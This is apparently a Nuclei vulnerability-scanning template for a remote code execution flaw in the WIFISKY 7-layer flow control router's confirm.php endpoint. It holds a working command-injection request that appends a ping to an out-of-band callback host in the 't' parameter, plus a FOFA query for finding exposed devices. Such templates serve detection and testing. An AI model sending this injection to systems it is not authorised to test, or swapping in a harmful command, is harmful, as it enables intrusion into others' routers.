id: wifisky7-rce

info:
  name: WIFISKY-7 Layer Flow Control Router - Remote Code Execution
  author: pussycat0x
  severity: high
  description: |
    There is an RCE vulnerability in the confirm.php interface of WIFISKY-7 layer flow control router
  reference:
    - https://github.com/wy876/POC/blob/main/WIFISKY-7%E5%B1%82%E6%B5%81%E6%8E%A7%E8%B7%AF%E7%94%B1%E5%99%A8confirm.php%E6%8E%A5%E5%8F%A3%E5%A4%84%E5%AD%98%E5%9C%A8RCE%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="WIFISKY 7层流控路由器"
  tags: wifisky,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/notice/confirm.php?t=%3bping+-c+3+{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: header
        words:
          - "L7Engine"

      - type: status
        status:
          - 200
# digest: 490a004630440220532be6ba0d22d202b2917a0a33aa7a84db0a18c1998e6c43977ce2e4a91ff9b60220681809ba24f776fbc4027f84559565f2c894a5fea90073dd1a75d29ddbf10149:922c64590222798bb761d5b6d8e72950